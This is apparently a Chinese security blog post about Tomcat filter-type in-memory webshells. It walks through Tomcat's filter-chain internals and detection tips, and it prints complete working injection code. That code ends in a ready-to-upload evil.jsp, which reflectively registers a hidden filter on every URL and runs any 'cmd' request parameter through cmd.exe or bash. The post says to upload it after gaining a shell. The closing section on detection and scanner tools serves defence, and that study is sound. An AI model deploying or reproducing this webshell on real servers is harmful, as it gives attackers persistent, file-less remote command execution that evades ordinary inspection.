前言
最近再看Java反序列化的东西,都是摸索着前进,碰见问题解决问题,遇到什么就看什么。有了前面cc链条的基础,还是比较容易理解的。
tomcat简介
servlet
是一种处理请求和发送响应的程序,Servlet是为了解决实现动态页面而衍生的东西
tomcat和servlet的关系
Tomcat是Web应用服务器,是一个Servlet/JSP容器。
Tomcat将http请求文本接收并解析,然后封装成HttpServletRequest类型的request对象,所有的HTTP头数据可都以通过request对象调用对应的方法查询到。
Tomcat同时会将响应的信息封装为HttpServletResponse类型的response对象,通过设置response属性就可以控制要输出到浏览器的内容,然后将response交给tomcat,tomcat就会将其变成响应文本的格式发送给浏览器。
Servlet:servlet是一种运行服务器端的java应用程序,具有独立于平台和协议的特性,并且可以动态的生成web页面,它工作在客户端请求与服务器响应的中间层。Servlet 的主要功能在于交互式地浏览和修改数据,生成动态 Web 内容。
Filter:filter是一个可以复用的代码片段,可以用来转换HTTP请求、响应和头信息。Filter无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。
Listener:通过listener可以监听web服务器中某一个执行动作,并根据其要求作出相应的响应。
Container – 容器组件
Tomcat中的 Container 用于封装和管理 Servlet ,以及具体处理Request请,在Connector内部包含了4个子容器:
Engine,实现类为 org.apache.catalina.core.StandardEngine
Host,实现类为 org.apache.catalina.core.StandardHost
Context,实现类为 org.apache.catalina.core.StandardContext
Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
这四个字容器实际上是自上向下的包含关系
Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。
也就是host是主机,context是web应用,wrapper是servlet
内存马类型
servlet-api类
filter型
servlet型
spring类
拦截器
controller型
Java Instrumentation类
agent型
本文只直记录一下filter型的学习历程。
一个http请求会先经过filter,然后再到servlet,那么我们可以动态创建一个filter并将其放到最前面,当我们最前面filter的恶意代码执行,也就形成了一个内存webshell。
Tomcat Filter 流程分析
首先创建一个javaWeb项目,再把tomcat/lib/catalina.jar和tomcat/lib/servlet-api.jar添加到项目中,创建一个demo文件。如果不会的化可以参考这篇文章
demo
package filter;
import javax.servlet.*;
import java.io.IOException;
public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
再把我访问的路径添加到web.xml中,在web.xml中注册我们的filter,这里我们设置url-pattern为 /demo 即访问 /demo 才会触发
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>filter.filterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
</web-app>
debug运行后可以看到能正常访问index.jsp页面
再分析之前我们会碰到一些类名,这里先做个分析:
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
接下来我们分析,既然是filter过滤器,在 StandardWrapperValve 中会利用 ApplicationFilterFactory 来创建filterChain(filter链),我们跟进这个方法。
跟进createFilterChain方法,顾名思义就是创建FilterChain的方法
41行,42行 首先会调用 getParent 获取当前 Context (即当前 Web应用),然后会从 Context 中获取到 c
filterMap中主要存储了filterName和urlPattern,也就是过滤器名字和过滤器注册的url。
接着往下看会走到for循环中。
对FilterMap进行循环,如果发现符合当前请求 url 与 FilterMap 中的 urlPattern 想匹配,就会进入 if 判断会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入 if 判断,将 filterConfig 添加到 filterChain中,也就是addFilter函数。
然后进入addFilter函数。
在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(其实就是去重)
下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到 filters中。
最后再82行返回filterChain变量。然后我们回到StandardWrapperValve ,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法。
跟进doFilter方法,再doFilter方法中会调用internalDoFilter方法。
在internalDoFilter方法中首先会依次从 filters 中取出 filterConfig
然后会调用 getFilter() 将 filter 从 filterConfig 中取出,调用 filter 的 doFilter方法
从而调用我们自定义过滤器中的 doFilter 方法,进而触发了相应的代码
Filter型内存马注入
从 servlet3.0 开始,提供了动态注册 Servlet 、filter 、Listener,这里我们优先关注 Servlet 和 filter ,因为 Servlet 能够帮助我们接受 request 请求和 response 响应,并且针对传入内容进行操作,当然 filter 也是可以做得到的。
首先要获取获取上下文对象
当组装我们的过滤器链的时候 ,是从context中获取到的 FiltersMaps。
那么我们如何获取这个context 呢?
我们知道 servlet 的上下文全部存放在 ServletContext 中。
当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用
那我们将 ServletContext 转为 StandardContext 从而获取 context
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
filterConfig、filterMaps跟filterDefs
获取到 Context 之后 ,我们可以发现其中的 filterConfigs,filterDefs,filterMaps 这三个参数和我们的 filter 有关,那么如果我们可以控制这几个变量那么我们或许就可以注入我们的内存马。
到这里就要掰扯一下这三个的关系:filterConfig、filterMaps跟filterDefs
filterDefs
注入内存马实际上是模拟了在web.xml中写配置的过程,两者是一一对应的。其中filterDefs存放了filter的定义,比如名称跟对应的类,对应web.xml中如下的内容
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>filter.filterDemo</filter-class>
</filter>
FilterMaps
FilterMaps则对应了web.xml中配置的,里面代表了各个filter之间的调用顺序
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
FilterConfigs
存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
大致流程如下:
1.创建一个恶意 Filter
2.利用 FilterDef 对 Filter 进行一个封装
3.将 FilterDef 添加到 FilterDefs 和 FilterConfig
4.创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 首先判断名字是否存在,如果不存在我们就进行注入
if (filterConfigs.get(name) == null){
// 创建恶意 Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
/**
* 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类
*/
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);
/**
* 创建一个filtermap
* 设置filter的名字和对应的urlpattern
*/
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());
/**
* 将filtermap 添加到 filterMaps 中的第一个位置
*/
standardContext.addFilterMapBefore(filterMap);
/**
* 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入
*/
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
需要注意的是此方法只支持tomcat7以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
最终内存马如下:
命名为evil.jsp,如果已经getshell,上传这个jsp文件,访问注入内存马,还有一种方式是反序列化注入内存马,我们另外再说。
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "AAA";
ServletContext servletContext = request.getSession().getServletContext();
// ApplicationContext实现servletContext接口
// 私有属性只能通过反射来获取.context是私有属性
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// applicationContext对象中有一个context,这个属性是StandardContext。
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 通过StandardContext获取filterConfigs属性。
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[4096];
Process process = new ProcessBuilder("cmd.exe","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
/**
* 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类
*/
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
filterDef.setFilterClass(filter.getClass().getName());
/**
* 创建一个filtermap
* 设置filter的名字和对应的urlpattern
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 将我们的FilterMap添加到最前面。
/**
* 将FilterMap添加到 filterMaps 中的第一个位置
*/
standardContext.addFilterMapBefore(filterMap);
// ApplicationFilterConfig构造方法是protected
/**
* 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入
*/
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
// 添加我们构造的filterConfig
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
内存马查杀
内存马的识别
filter名字特殊的,例如cmd,shell,memshell等
对应的classloader路径下没有class文件(Java中所有的类都是通过加载器加载到虚拟机中的)
xml配置中没注册的
filterchain中排第一的filter类
Filter的doFilter方法中有恶意代码
另外,有一些工具可以辅助检测内存马,如java-memshell-scanner是通过jsp扫描应用中所有的filter和servlet,然后通过名称、对应的class是否存在来判断是否是内存马
一些内存马查询的项目
https://github.com/c0ny1/java-memshell-scanner
https://github.com/LandGrey/copagent
https://github.com/alibaba/arthas
https://github.com/jweny/MemShellDemo
https://github.com/search?q=memshell
参考:
https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w
https://www.cnblogs.com/nice0e3/p/14622879.html#0x03-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0
https://gv7.me/articles/2020/kill-java-web-filter-memshell/
http://wjlshare.com/archives/1529
https://blog.csdn.net/hyj123480/article/details/118667599
https://www.freebuf.com/articles/web/274466.html